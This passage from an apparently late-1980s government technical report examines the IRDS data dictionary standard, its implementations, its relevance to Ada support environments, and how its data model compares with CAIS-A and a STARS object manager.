and potential contention between X3H4 and X3T2, the committee on Data Interchange. X3T2 has a new Conceptual Schema Project. Also, there is potential overlap between X3H4 and X3T5, the committee on OSI architecture, and with the work on Open Distributed Processing. The X3/DBSSG (Database Systems Study Group) is trying to get standards that fit together, or at least which do not conflict. The EDIF/CASE group is a standards group, independent of ANSI, which is addressing issues of data interchange among CASE tools. There is an overlap between the IRDS and the EDIF/CASE efforts. However, leadership in the EDIF/CASE committee concurs with the view that in the long run the repository approach of the IRDS will be more useful than the direct tool-to-tool standard being developed by EDIF/CASE. 3 Experience with the Standard While most Federal users will probably wait for the appearance of commercial implementations of the standard, some federally funded implementation have been developed. NIST implemented a public domain version, in C, using Oracle. Three contractors are using implementations of the IRDS in connection with research on the Army Data Encyclopedia (ADE) Project. Argonne Laboratories has developed an Ingres implementation of the IRDS and is definitely moving ahead with a customized implementation of the IRDS for their work. The Argonne experience makes the point that, at the same time that an IRDS can be essential, the existing IRDS standard is worrisome. 3.1 Army Data Encyclopedia The Army Data Encyclopedia (ADE) is a mammoth undertaking[LBL 88]. Figure 3 shows that complexity and that the IRDS is the central component. Lawrence Berkeley Laboratories (LBL), Honeywell, and American Management Systems (AMS) are the three contractors that have worked on this project. LBL, which has worked on the ADE architecture has also done research on a thesaurus [McCarthy 88] which would include capabilities to: - Manage definitions and cross-references; - Reconcile diverse nomenclatures and classifications from multiple sources; - Enforce data and metadata integrity constraints in an active framework; - Generate dynamic menus and expand user queries; - Link information between different types of entities and databases. Honeywell’s Army Encyclopedia work is called ANSWER: Army’s Nonprogrammer System for Working Encyclopedia Requests [Dwyer 88]. This system provides support for the encyclopedia with a set of tools that provide enterprise management, database registration, browsing, query formulation, and distributed query processing. The IRDS is the storage mechanism for the encyclopedia information. A prototype is expected in May or June of 1989. Additionally, Honeywell is using an IRDS internally, adding capabilities to generate data base translators based on definitions of source/target mappings entered into the IRDS system. AMS’s findings on the Ada impact on the Army Data Encyclopedia are reported in Section 4.2. 3.2 Argonne Laboratories Argonne Laboratories does work for J8 (the Force Structure, Resource, and Assessment Directorate of the Joint Chiefs of Staff) [Robinson 88]. J8 runs a large variety of simulation models. These are very large, 18-20 year-old FORTRAN programs, requiring large amounts of data which is collected separately for each simulation. The IRDS is essential for modernization. They need to establish an inventory of the data which they have and eliminate multiple requests for the same data. Argonne has built an Ingres implementation of the X3-138 standard. Argonne is moving ahead with the development of an IRDS which will be implemented on Ingres, a procurement requirement. This will be an active IRDS, with a services interface through which updates may be introduced and which will be able to construct screens of data on the fly. In addition to the dictionary database, a second database will provide a directory to individual simulation model databases. A decision will be made after the April X3H4 meeting whether to implement the IBM or the Pansophic services interface. The Argonne implementation of IRDS will not conform to the X3-138 standard. This is because provisions for life cycle management cannot satisfy MIL-STD 2167, and the module for security is insufficient for the federal multi-level security guidelines. This is a serious criticism of the X3-138 standard. There will be severe problems in implementation, conformance, and conformance testing of the 800 page X3-138 standard. It is important to take note of the fact that while the services interface standard augments the X3-138 standard, conformance to X3.138 is not required to claim conformance to the services interface. Figure 3: LBL Figure showing ADE Reference Model 4 IRDS and Ada Programming Support Environments (APSE) This section points to research which has delved into the relationship between an APSE and the IRDS. 4.1 Modeling the Space Station Program Dr. Charles McKay heads two research groups at the University of Houston Clearlake. They are both concerned with Ada Software Engineering Environments. One is a NASA research laboratory for the Space Station Program; the other laboratory does commercial work. The IRDS has been described as the “focal point of the design” for the Houston work and also for related commercial work in West Virginia which is based on Dr. McKay’s design. The general themes of the Houston documents are expressed in the title of Dr. McKay’s chapter in the Ada Reusability Guidelines: “Conceptual and Implementation Models Which Support Life Cycle Reusability of Processes and Products in Computer Systems and Software Engineering”[McKay 89]. The Parnas objects (modules which reflect design decisions) which are of interest to Dr. McKay are often themselves models (hence the “taxonomy of taxonomies” phrase which is used in Houston). Ideas expressed throughout the Houston documents [McKay 88c,McKay 87,McKay 88b,McKay 88a] indicate a vision of the use of the IRDS throughout the software engineering life cycle, using objects, sets of objects, and objects which are themselves models. Stable Interface Sets and Stable Frameworks are notions which involve the establishment of Life Cycle Phases, points in the overall lifecycle where products of preceding activities can be precisely defined and specified to determine the completeness of products to that point. As described earlier, life cycle partitions are an important feature of the X3-138 standard. The Houston vision of the IRDS seems to be closely tied to this feature which tends to be forgotten in all the IRDS discussion about competing data models and services interfaces. 4.2 Ada Impact on the Army Data Encyclopedia The Army Data Encyclopedia (ADE) was described in an earlier section. An ADE contract from the U.S. Army Information Systems Software Center (USAISSC) to American Management Systems produced a document titled “The Ada Environment for Requirements Analysis, Conceptual Design, and Prototyping of the Ada Subset of the Army Data Encyclopedia” [AMS 88]. That document discusses Ada’s object-oriented design, object-oriented Life Cycle, and object-oriented methodologies and how they would affect the ADE. The report concludes that Ada would affect four aspects of the ADE: 1) content and organization, 2) functional capabilities, 3) data administration issues, 4) environmental issues. One data administration issue is the handling of Ada’s name overloading feature, given the current Army data naming standards. In discussing environmental issues, the report states: 1The narrower definition of object-oriented which is adopted in the Appendix of this paper does not encompass the Ada Programming Language. The ADE must be available in the crucial design intensive period and must be able to easily interface with design tools. There should be analysis to see if the ADE should be designed using CAIS standards in addition to IRDS standards. For the short term the Army may want to choose a software support tool(s) as a standard for use with Ada until the CAIS interface is available. The ADE requires efficient Ada interfaces to relational DBMSs. In January there was an interruption of funding for the LBL work on the Army Data Encyclopedia. We do not know the current prospects and/or timeframe for development of the ADE. 4.3 AOG Studies In 1983 AOG Systems was funded by AJPO under contract to NBS to report on the applicability of the FIPS Data Dictionary System to APSEs. The conclusion of the report is that the DDS functionality would be an integral part of an APSE to facilitate the integration of system and tool functionality, and to support the analysis design, development, test, integration, and management of software which operates in the APSEs [AOG 83b]. As a part of that 1983 contract an IRDS Ada schema was developed[AOG 83a]. The Ada schema provides the IRDS entities and relationships necessary for the Ada language. It is not a set of Ada package specification which provide bindings to a services interface. There are eleven entity types in the schema, such as package, task-type and expression. The expression entity-type is interesting in that it requires extension of the IRDS to n-ary relationship types which are not provided the IRDS standard. AOG has provided Q14 with two 1985 papers (unsuccessful proposal efforts), which highlight a connection between IRDS and an APSE. One was the bid on the contract to develop CAIS-A. The other is to construct a prototype Ada programmer workbench using the IRDS as a foundation. AOG’s president, the document editor for X3-138, has outlined potential solutions to the problem of adding n-ary relationship to the standard[X3H489155]. This ideas in this 1988 document are described in the appendix, since they are applicable to the data model analysis which is presented there. 5 IRDS, CAIS-A, and the EOM All current implementations of the IRDS use relational databases to hold the metadata of the Information Resources Dictionary (IRD) and the IRD Schema. The STARS Interface Standards Q14 Task has considered whether an IRDS might be implemented through the CAIS-A node model[CAISA 88]. At the same time that Q14 has been studying the IRDS standard, the Boeing Q24 Task has been concerned with the development of the Environment Object Manager (EOM) for the STARS environment [Q24570 88,Q24590A 89,Q24610B 89,Q24620 89]. The Boeing documents rest on an understanding of the relationship between CAIS-A and the EOM, and their study has been extremely useful in developing an understanding of the relationship between CAIS-A and the IRDS. The approach for development of the EOM on CAIS-A shows how a mapping might be accomplished for implementation of an IRDS database directly on CAIS-A. A contribution of the Unisys Q14 work on the IRDS is a comparison of the IRDS and CAIS-A, using Peckham and Maryanski's guidelines for comparison of semantic data models. This study is described in detail in Appendix A of this paper. Also, Appendix A includes definitions of ambiguous terms such as "object." The analysis served to emphasize striking dissimilarities between the IRDS semantic data model and the CAIS-A node model. In the IRDS an entity is an aggregation of its attributes, but a CAIS-A node has contents and as well as properties which are called attributes. While the CAIS-A attributes can be used to express aggregation, the use of attributes to provide aggregation (while ignoring node contents) raises important issues of granularity. The dictionary of an IRDS can be quite large and it may consist of many entities of fine granularity. Such a database is appropriately handled by an efficient relational DBMS. We assume that the development of Ada bindings for the IRDS would be undertaken in order for CASE tools to access dictionary data which is stored on relational DBMSs. The analysis shows that the EOM model is more powerful than the model of the IRDS. The proposed EOM model includes objects, specialization/generalization, n-ary relationships, and unstructured object representation. None of these are available in the IRDS model. Although the diagrammatic representation of the model does not refer to the contents of objects, other Q24 design documents do suggest operations on documents, objects of coarse granularity which are the contents of a CAIS-A node. NASA researchers discuss the modeling of objects which are coarser grained yet. 6 Conclusions This section summarizes the support for the conclusions which were given at the beginning of this paper in the Executive Summary. 6.1 The future of IRDS standardization As of March 20, this observer's opinion is that IBM could succeed, not only within the ANSI committee, but in the international arena as well. IBM is working with CASE tool vendors, and products are currently being developed which will work with the IBM specifications. The IBM standard is expected to become de facto standard in some arenas. The federal government has a large investment in the existing ANSI standard, X3-138, which it has sponsored. Within the IRDS standards community there is a desire for a single world-wide standard. Acceptance of the IBM repository interface standards provides this possibility since IBM is also working on ISO acceptance. On the other hand, the IBM proposal is two years behind the existing X3I4 proposal and there is pressure for a FIPS in the short term. If the goal of a world-wide IRDS standard is achieved, the standards groups will be able to move forward, address the issues of model integration, and proceed toward the development of a second generation IRDS standard. Conversely, continued difficulties in the current standardization efforts could damage the ANSI committee's ability to proceed with other efforts. 6.2 Ada/IRDS advocacy The standardization, and implementation, of a world-wide IRDS services interface standard can promote the portability of front-end CASE tools from one environment to another. Ada package specifications for the IRDS standard would not only provide access to IRDSs, they can, directly or indirectly, provide access to relational databases. Direct access is provided to the databases which normally hold metadata, but could be used to hold any kind of data. With direct access, IRDS interfaces may be viewed as providing an RDBMS front end. The interface has an E-R or hierarchical view of data, and a standard set of error messages which protect the program from the need to interpret the error messages of the RDBMS. Indirect access to relational databases is provided when an IRDS implementation provides a directory, in addition to the dictionary, and allows retrieval of application data held in relational databases. Advocacy for the IRDS standard is coming from vendors, such as IBM and Pansophic Systems, that develop software primarily for mainframe environments. The fact that an IRDS advocate as powerful as IBM does not propose to develop Ada bindings to a standard or to provide implementations which support the Ada language is of serious concern. In order for the IRDS interface to be significant for STARS there will need to be implementations of the IRDS, in a workstation environment, which support the Ada/IRDS bindings. Therefore, Ada/IRDS advocacy must include vendors who intend to develop Ada/IRDS implementations on appropriate platforms. There is commercial Ada work which is IRDS centered in Houston and in West Virginia. Therefore, it is possible that IRDS-based products supporting Ada are planned, however this Ada/IRDS interest has not been expressed in the form of participation in the formal standards committees. 6.3 Architecture We make a distinction between the IRDS idea which definitely is relevant to STARS, and the IRDS standard which may or may not evolve in a way that it will be useful for STARS. There is an overlap between the functionality of IRDS, CAIS-A, and the Environment Object Manager which is being developed by Boeing under Q Task 24. The IRDS is touted as being a central storehouse of information which can be accessed by CASE tools, as the basis for system life cycle and project management, for source and object library management, and so forth. Issues of environment integration and granularity swirl around the IRDS, CAIS-A, and the EOM. The papers from University of Houston Clearlake describe EA/RA modeling of objects where the granularity is coarser than that of CAIS-A nodes, such as phases in the software engineering lifecycle of the space station program. The EOM seems quite appropriate for this type of modeling. On the other hand the work which was done an Ada/IRDS schema suggests the using the IRDS to express relationships between the objects of very fine granularity down, to Ada expressions. This is the level of granularity at which Intermediate Languages, such as DIANA, operate. All existing implementations of the IRDS make use of RDBMSs to hold the metadata, and they assume that this metadata describes fine grained data which is held in conventional databases. We believe that relevance of the IRDS to STARS is tied, somehow, to the integration of fine grained data into the STARS SEE. If all of the objects in the SEE are managed by the EOM, which has its own dictionary system, then the IRDS probably has no place in the STARS SEE. But integration into a common environment database (or object manager) raises performance issues concerning support of the management of fine-grained objects. If we assume that the SEE will include RDBMSs, then an IRDS might be used to relate objects managed by the object manager, data in a relational DBMS, and DIANA trees as well. This raises another set of issues concerning environment extensibility and the handling of objects which are not integrated through a single object manager. 6.4 Recommendation The overlap between CAIS-A, the EOM, and the IRDS is such that these interfaces may be competing rather than complementary. While the idea of an IRDS will certainly be a part of an APSE, the IRDS standard is being developed in another context, not the context of an APSE. Theoretically Ada bindings to the IRDS interface could compete with other approaches to Ada - SQL interfacing, however this is simply a back burner possibility. STARS work on CAIS-A and the EOM are fundamental, and STARS attention to the IRDS should be limited to monitoring the evolution of the standard. A Comparison of CAIS, IRDS, and the EOM Section 5 in the body of this paper gives the rational for, and conclusions from, this study. A.1 Results The analysis served to emphasize striking dissimilarities in the models. - The CAIS-A node model is not a semantic data model. Semantic data models do not have anything analogous to the contents of a CAIS node. - CAIS-A provides for aggregation through structural nodes. The IRDS provides for aggregation through the attributes of an entity. The CAIS-A model is appropriate for managing objects of coarse granularity, and questionable for use with fine grained data. - The relational semantics of the CAIS and the IRDS are dissimilar. A relationship is CAIS is analogous to a relationship-class in the IRDS. However, CAIS relationships have instances and IRDS relationship-classes do not. - CAIS provides for enhanced unstructured object representation. - The proposed EOM model includes objects, specialization/generalization, n-ary relationships, and unstructured object representation. None of these are available in the IRDS model. A.2 “Object-oriented” and other definitions One survey, [Peckham 88], considers object-oriented databases a subset of semantic databases and objects the same as entities. The other survey, [Hull 87] draws distinctions between these terms. The definitions offered here are based on those provided by Hull and King. Hull and King contrast semantic data modeling with object oriented programming, semantic networks, and object-oriented databases. Semantic data model. Semantic data modeling is the modeling of data which is held in a database. The term does not include the modeling of in-memory semantic networks. Because semantic networks are generally in-memory tools, the sorts of research efforts that have been directed at efficient implementation of semantic databases have not been applied to them. Neither does the term semantic data model apply to the node model of CAIS-A. The nodes, attributes, and relationships of CAIS-A model neither the data of an enterprise nor the data of software engineering. The CAIS-A model is closely tied to the application for which it was developed, modeling of an operating system. The nodes, attributes, and relationships of CAIS-A are strictly different from the entities, attributes, and relationships in semantic data models. Semantic model. This is a broader term which encompasses semantic data models, semantic networks, and the CAIS-A node model. When the context is clear, it can be used as shorthand for semantic data model. Hull and King describe the fundamental distinctions between semantic data models and object-oriented programming: Essentially, semantic models encapsulate structural aspects of objects, whereas object-oriented languages encapsulate behavioral aspects of objects. There are three principal features of object-oriented languages. The first is the explicit representation of object classes or (types). Objects are identified by surrogates rather than their values. The second features is the encapsulation of “methods” or operations within objects. The final feature of object-oriented languages is the inheritance of methods from one class to another. . . . Object oriented models do not typically embody the rich type constructors of semantic models. From the structural point of view, object-oriented models support only the ability to define single-and multivalued attributes. This paper adopts a restricted definition of object. The term object requires the encapsulation of methods or operations; otherwise entity or “object” in quotes will be used. By this definition Ada does have objects. A private datatype which can be manipulated only through publicly available procedures or functions is an object. This paper also adopts a restricted definition of object-oriented. The modifier object-oriented is reserved for programming languages and databases which provide both inheritance and specialization of methods. By this definition Ada is not an object-oriented language. Whereas Peckham and Maryanski consider object-oriented databases a subset of semantic databases, Hull and King draw a distinction: Object-oriented database models are fundamentally different from semantic (data) models in that they support forms of local behavior in a manner similar to object-oriented programming languages. This means that a database entity may locally encapsulate a complex procedure or function for specifying the calculation of a data operation. This gives the user the capability of expressing, in an elegant fashion, a wider class of derived information than can be expressed in semantic models. . . . On another dimension, object-oriented (data) models are similar to semantic (data) models in that they provide mechanisms for constructing complex data by interrelating objects. Thus, object-oriented data modeling has the power of semantic modeling and of object oriented programming. A similar modeling combination can be achieved in the implementation of a semantic network with an object-oriented programming language, as was done in PCLnet [Heineman 87]. However, as previously noted, the semantic networks of AI are implemented in memory and avoid the hard problems of semantic databases. Object-oriented databases are truly a confluence of three disciplines: the object-orientation (inheritance as well as encapsulation) of programming languages, the modeling power of semantic networks, and the emphasis on efficiency and security that are required of database management. A.3 Peckham & Maryanski Analysis of the CAIS-A and IRDS models This section describes the method of Peckham and Maryanski and uses it to analyze the CAIS-A and IRDS models. The result of the analysis emphasizes that the semantics of the nodes, attributes, and relationships of CAIS-A are quite different from the semantics of entities, attributes, and relationships of IRDS. These semantic differences emphasize that the CAIS-A node model is fundamentally different from a semantic data model. This section assumes a basic familiarity with both the CAIS-A node model and the IRDS model. Introductions to these models may be found in [Winkler 88, SofTech 88]. Peckham and Maryanski state: > Every semantic model has objects (or entities), relationships (functional or relational), dynamic properties, and a means for handling integrity constraints. Relationships can be characterized by the abstractions they are capable of representing and the means by which they do so. Dynamic properties can range from the simple specification of insertions and deletion constraints to the modeling of operations and transactions. Constraints can be collected from the user and represented and/or automatically implied by the semantics of the model's relationships. Both the level and mechanisms of information representation are used to characterize and compare models. In this spirit, the following characteristics are identified as being fundamental to semantic data models. Peckham and Maryanski proceed to identify and define eight characteristics of semantic data models and then they analyze eight semantic data models in the context of these eight characteristics. The following eight subsections correspond to the eight characteristics used for analysis. ### A.3.1 Standard Abstractions Present. One of the most important characteristics of a model are the abstractions which it provides. The four abstractions discussed in both review articles are classification, generalization, aggregation, and association. Briefly, classification provides for instances of a type and generalization provides for subtypes. The distinction between aggregation and association is explained in [Peckham 88]: > Although association and aggregation define new object types from previously defined types, they represent fundamentally distinct abstractions. Aggregation provides a means for specifying the attributes of a new object type, whereas association is the mechanism for defining a type whose value will be a set of objects of a particular type. The IRDS semantics of an entity with attributes is identical to the aggregation abstraction of a relational database, where a table has attributes (fields). However in CAIS-A the attributes do not make up an aggregate which fully define a node. The attributes are properties of a node which can have contents. Contents is certainly a distinguished property, unlike anything in semantic data models. The nodes of CAIS-A are fundamentally different from the entities of the IRDS. In CAIS-A aggregation is provided through structural nodes. This differences in the way in which aggregation is provided makes fine grained aggregation "natural" in the IRDS model and coarse grained aggregation natural in the CAIS-A model. CAIS-A has the specialization abstraction. Node-kind-definitions (NKDs) are created by specializing NKDs which have already been established. At first glance, CAIS-A resembles semantic networks which have a taxonomic generic network and an instance network. The generic network provides generalization/specialization, and the instance network does not. However, CAIS-A uses the term parent in an unexpected way. Parent does not refer to the superclass/subclass relationship in the generic network. In CAIS-A, parent is used to describe an instance in the instance network which is the starting point of a path, which is the primary relationship, to another instance node. A basic E-R model provides only for aggregation. The IRDS model, with its multi-leveled architecture, provides for classification as well. The CAIS-A model provides for classification and generalization. CAIS-A node model does not provide aggregation, an abstraction which is provided by all semantic data models. Examples of semantic data networks with the association abstraction are described in [Peckham 88]. Based on that discussion, association does not appear in either the IRDS or CAIS-A. A.3.2 Unstructured object representation This characteristic of a model refers to the handling of primitive types such as strings, integers, and reals, generally supported by the underlying hardware. Most semantic data models have limited unstructured object representation. The Semantic Association Model (SAM*), developed for scientific-statistical databases and used for computer-integrated manufacturing applications, provides a set of abstract data types at the lowest level which correspond to the primitive units of the application and provides well defined operations on these units (i.e., sets, vectors, text, and generalized relations)[Su 83]. Such a model has enhanced unstructured object representation. In CAIS attribute kinds are defined in terms of eight basic and structured value types. The type IDENTIFIER is a string having the syntax of an Ada identifier. This type and the basic structured value types such as list, uniform_list, composite_list are accessed only through operations defined on those units. The IRDS model provides limited unstructured object representation. The CAIS-A node model provides enhanced unstructured object representation. A.3.3 Relationship Representation. Relationships are represented in many ways. Conceptually this construct may appear in the model as an attribute, an entity, tables, an independent element (often called “relationship”), a class or a function. Multiple relationship views may be presented to the user. In the survey analysis, there is a discussion concerning the fact that the attributes of an entity form the same abstraction as aggregation. Thus, E-R models are characterized as have tables and independent relationships. However, in the IRDS model there are data levels, and therefore the IRDS has class, as well as tables and independent relationship representation. In CAIS-A, relationships are represented through the independent relationships and through attributes which do not have the same abstraction as aggregation. The CAIS-A model has a contents relationship which is quite different from any relationship in a semantic data model and is a reminder that the CAIS-A model is tied to its application, the modeling of an operating system. A.3.4 Network vs Hierarchy. This refers to the diagrammatic construct for the conceptualization of a model. The nature of the graph (network vs hierarchy, cyclic versus acyclic) is important in the characterization of the data model. E-R models, including the IRDS, are strong network. Semantic networks have a general hierarchy at the generic level and network at the specific level. The CAIS-A model has a general hierarchy at the generic level. Also, the trees of the CAIS-A model present a basically hierarchical diagram in the instance network. A.3.5 Derivation/inheritance. There are two means by which semantic models handle repeated information. Repetition within individual object types is handled by derivation, which is the means by which the attributes of one object are computed or inherited from other objects. Alternatively, class attributes can be used to hold derived information about a class of objects taken as a whole. The IRDS has neither derivation nor inheritance. In CAIS-A there is inheritance at the generic level. At the specific level, CAIS-A has a procedure to add inheritance. However adding inheritance to secondary relationships between instances, is like derivation and unlike class inheritance. A.3.6 Insertion/Deletion/Modification Constraints. This refers to the constraints that are used to maintain the integrity of the database. Some models permit the database designer to specify the insertion/deletion/modification semantics. Peckham and Maryanski state that insertion/deletion constraints in E-R models are User specific. This is probably because there are so many flavors of E-R models. The IRDS has a specific E-R model which has specified the necessary constraints to maintain the integrity of the IRD and IRD Schema Layers. The standard includes a host of error messages, one for each constraint violation. Therefore, this feature of the IRDS model is classified as Built-in rather than user-specific. Similarly, the insertion/deletion constraints for nodes in CAIS-A are defined within the standard and built-in. A.3.7 Degree of Expression of Relationship Semantics. Peckham and Maryanski explain: Some models leave the expression of the semantics of cardinality, null values, inverse relationships, derivations, inheritance, or default values to the designer. Other models completely define the behavior of one or more of these features. The amount of flexibility, and consequently responsibility, given to the designer by the model serves as an important discriminant among models. While Peckham and Maryanski state that the relationship semantics of entity-relationship models are User selectable, the relationship semantics in the IRDS model are very specific and should be characterized as *Predefined*. In CAIS-A, while the user may specify whether particular relationships are to be bi-directional or inheritable, the relationship semantics are unambiguous, not left to the user, and therefore *Predefined*. While the relationship semantics are predefined in both IRDS and CAIS-A, they are quite different. Beyond the differences in terminology there seems to be a difference in the ideas expressed. In particular, the word *relationship* in CAIS suggests a concept, such as "foo" which is called a *relationship-class* in the IRDS. The IRDS might have four things called relationships: A-foo-Y, A-foo-X, B-foo-X, B-foo-Y which are grouped together in the relationship-class, foo. These four relationships are *not* instances of foo, they simply a grouping. Relationship-classes and relationships exist at the same data level. Relationship-classes, such as foo, do *not* have instances at the lower level. In the IRDS there are instances only of the relationships, A-foo-X, etc. at the lower level. In contrast, in CAIS-A "foo" is called a *relationship*. CAIS-A does *not* directly define A-foo-X, etc. at the generic level. The definitions of A, foo, X, etc. do specify the fact that an instance of foo will emanate from an instance of A or B and terminate at an instance of X or Y. In CAIS-A there *are* instances of foo. At the moment an instance of a CAIS-A relationship is created its source and target destinations (instances of nodes) are specified. Nodes and paths which appear and disappear as processes are invoked and die provide a model of an operating system, not a semantic data model of persistent entities, their attributes, and their relationships. A.3.8 Dynamic Modeling. This term refers to the description of the semantic properties of database transactions. Transaction-modeling is one possibility for dynamic modeling and object-oriented models are another. Dynamic modeling does not apply to the IRDS data model. CAIS-A explicitly supports transactions. We have not determined whether this satisfies the [Peckham 88] definition of dynamic modeling. A.4 STARS Environment Object Manager The design of the STARS EOM has begun. In the process of the design work, the Q24 team has investigated SQL, CAIS-A, and the IRDS. The EOM model which was presented in the most recent Q24 deliverable [Q24610B 89] shows that the designers have put the relational model of SQL and the E-R model of the IRDS behind them and that they are stretching toward a model which includes objects, and generalization/specialization hierarchies. The analysis showed that the model being developed is more powerful than the IRDS model. It appears to be a good model for use with its application, the modeling of software engineering environments. It uses both of the approaches that have been proposed for adding n-ary relationships to the IRDs model. It is is not clear at this point whether the EOM model will be truly *object-oriented* within the narrow definition which requires both inheritance and specialization of methods. Our Figure 4 is the first figure in the February 13 Q24 Deliverable [Q24620 89] and shows the mapping of the Objectbase Schema to its underlying implementation on the CAIS-A Node Model. The mapping from the left to the right side of the diagram was extremely useful in considering how an IRDS might be implemented on CAIS-A nodes. The present analysis is concerned only with the left hand side of the diagram. The next two subsections provide a description of the EOM model and analysis of the model using the Peckham and Maryanski methodology. A.4.1 Description of the EOM Model As shown in the figure of the EOM data model, objects are instances of classes. Class definitions define the attributes, methods, and binary relationships to other classes. Methods have arguments, names, algorithm implementation, and a return type/value. Method arguments also have a number of attributes. Also, there is can be a specialization-of/generalization-of between classes. The specialization semantics are not explained in the early design documents, but there is some sort of specialization. N-ary Relationships are objects. They can have attributes, methods, and (member/member_of) binary relationships to objects. The N-ary relationship is very interesting. It is an aggregation, not of its attributes, but of its member objects. The semantics of the relationship-class are not spelled out in the document. Presumably it the classes of the member objects (not the objects themselves) which are specified in a relationship-class definition. Instances of the n-ary relationship-class would be an aggregation of objects which are instances of the member classes. It is not stated whether the model allows the classes of member objects to be relationship-classes. An IRDS proposal on n-ary relationships [X3H489155 ] discusses two approaches. The approach adopted by the EOM is called a “native” n-ary relationship-type where the n-ary relationship is defined as a schema object. The drawback is that there are now two kinds of binary-relationship, some are like the binary relationships of the IRDS (for example, they don’t have methods), and then there would be the 2-ary relationships which can have methods. As Dr. Lefkovitz points out, - The user has to deal with two different kinds of relationship types. - Should it ever be necessary to modify a binary relationship-type into an n-ary (even an 2-ary) one, a major modification of the schema would be required. The alternate approach to the development of n-ary relationships is to allow a (binary) relationship definition which connects an entity and a (binary) relationship, and to allow a binary relationship definition which connects two (binary) relationships. The EOM approach, as depicted, embraces the “native” n-ary approach. However, if it is possible for the members of a relationship-class to be relationship-classes, and why not?, then the second approach is also a part of this model. A.4.2 Analysis of the EOM Model The EOM Model which has been proposed by the Boeing Q24 Task is analyzed using the eight characteristics specified in [Peckham 88]. - **Unstructured object representation.** As explained earlier, the CAIS-A node model provides for enhanced unstructured object representation in the definition of attribute kinds. This characteristic will be available to the EOM which uses CAIS-A nodes. Figure 4. Boeing Q24 EOM Model Object Base Structure Definition D613-100620 • **Relationship Representation.** Relationships are represented in a wide variety of ways. Through attributes, binary relationships, n-ary relationships, and properties The n-ary relationship is an entity with three different kinds of properties: attributes, members, and methods. Moreover, through the implementation on CAIS-A NKDs, some objects will also have contents. • **Standard Abstractions Present.** All four abstractions are present: Generalization, Aggregation, Classification, Association The first three are inherent in the model, the fourth is provided by the Object Manipulation Language which is described in a companion Q24 Task deliverable, [Q24620 89]. • **Network vs Hierarchy.** Strong network, General hierarchy present. Specialization semantics are not yet well defined, so it is not yet clear whether the model will meet the narrow definition of object-oriented which was given above. With strong specialization semantics then the EOM will be characterized as having a strong hierarchy. • **Derivation/inheritance.** Derivation and Inheritance. • **Insertion/Deletion/Modification Constraints.** To what extent are constraints built in and can user specific constraints be introduced? Constraint issues are not discussed in the design document, however certain built-in constraints of the CAIS-A node model would be reflected in the EOM model. Other built-in constraints might also become part of the model. In general, a mapping can be developed from the EOM model to the model of semantic networks. Some semantic networks, i.e., PCLnet [Heineman 87], have user-defined constraints which appear in the diagramatic representations of the model. Others, i.e., AdaKnet [Wallnau 88], do not. The diagram of the EOM model does not show constraints. An earlier design document [Q24570 88] does state that the OBMS must support the concept of active data which is functionally defined data, accessed through an object’s interface and providing for the maintenance of constraints among objects. This statement suggests that user-defined constraints are contemplated. • **Degree of Expression of Relationship Semantics.** These should be predefined in the model. Judging by early design documents, issues of relationship semantics, in particular n-ary relationship semantics and specialization semantics, need to be addressed and clarified by the designers. • **Dynamic Modeling.** The document on the Object Manipulation Language indicates that the EOM will have transaction modeling. As indicated in the section on constr-ints, the EOM model will support active data. It is not yet clear whether it will be object-oriented within the limits of the narrow definition provided above, i.e., provide a capability for specialization of inherited methods. The EOM model goes far beyond the EA/RA model of the IRDS. It provides generalization/specialization, objects, n-ary relationships, and a capability for unstructured object representation. The following excerpt from [Winkler 88] is apropos: *The discussion . . . reminds me of heated discussions in the early 1970s between E. F. Codd and Charles Bachman, the “fathers” of the relational and network data* models, respectively. In these discussions, one father defended the old religion, while the other proposed the benefits and validity of the new religion. I believe that eighteen years later we may be at a new crossroads. At this crossroad, one discovers the old religion, SQL, and a potential new religion, E-R. Of course, one also needs to understand the relationship between E-R and object-oriented, for it may be that a melding of these two technologies could form an even more long-lived religion. References 27
{"Source-Url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a228826.pdf", "len_cl100k_base": 11801, "olmocr-version": "0.1.53", "pdf-total-pages": 29, "total-fallback-pages": 0, "total-input-tokens": 62342, "total-output-tokens": 15150, "length": "2e13", "weborganizer": {"__label__adult": 0.0003094673156738281, "__label__art_design": 0.0005545616149902344, "__label__crime_law": 0.0004892349243164062, "__label__education_jobs": 0.0030727386474609375, "__label__entertainment": 0.00010091066360473631, "__label__fashion_beauty": 0.00021135807037353516, "__label__finance_business": 0.0011301040649414062, "__label__food_dining": 0.0002799034118652344, "__label__games": 0.0007071495056152344, "__label__hardware": 0.0016508102416992188, "__label__health": 0.00040435791015625, "__label__history": 0.0007143020629882812, "__label__home_hobbies": 0.000125885009765625, "__label__industrial": 0.000935077667236328, "__label__literature": 0.00042319297790527344, "__label__politics": 0.00044417381286621094, "__label__religion": 0.0004224777221679687, "__label__science_tech": 0.1953125, "__label__social_life": 0.00010782480239868164, "__label__software": 0.03387451171875, "__label__software_dev": 0.75732421875, "__label__sports_fitness": 0.00022518634796142575, "__label__transportation": 0.0007190704345703125, "__label__travel": 0.00022041797637939453}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 64328, 0.04242]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 64328, 0.45279]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 64328, 0.91796]], "google_gemma-3-12b-it_contains_pii": [[0, 443, false], [443, 443, null], [443, 3158, null], [3158, 6605, null], [6605, 6646, null], [6646, 9802, null], [9802, 9834, null], [9834, 13371, null], [13371, 16522, null], [16522, 19519, null], [19519, 19568, null], [19568, 22541, null], [22541, 25425, null], [25425, 28635, null], [28635, 32095, null], [32095, 33271, null], [33271, 35958, null], [35958, 39182, null], [39182, 42276, null], [42276, 45491, null], [45491, 48226, null], [48226, 51620, null], [51620, 54662, null], [54662, 54738, null], [54738, 57920, null], [57920, 58422, null], [58422, 60759, null], [60759, 63147, null], [63147, 64328, null]], "google_gemma-3-12b-it_is_public_document": [[0, 443, true], [443, 443, null], [443, 3158, null], [3158, 6605, null], [6605, 6646, null], [6646, 9802, null], [9802, 9834, null], [9834, 13371, null], [13371, 16522, null], [16522, 19519, null], [19519, 19568, null], [19568, 22541, null], [22541, 25425, null], [25425, 28635, null], [28635, 32095, null], [32095, 33271, null], [33271, 35958, null], [35958, 39182, null], [39182, 42276, null], [42276, 45491, null], [45491, 48226, null], [48226, 51620, null], [51620, 54662, null], [54662, 54738, null], [54738, 57920, null], [57920, 58422, null], [58422, 60759, null], [60759, 63147, null], [63147, 64328, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 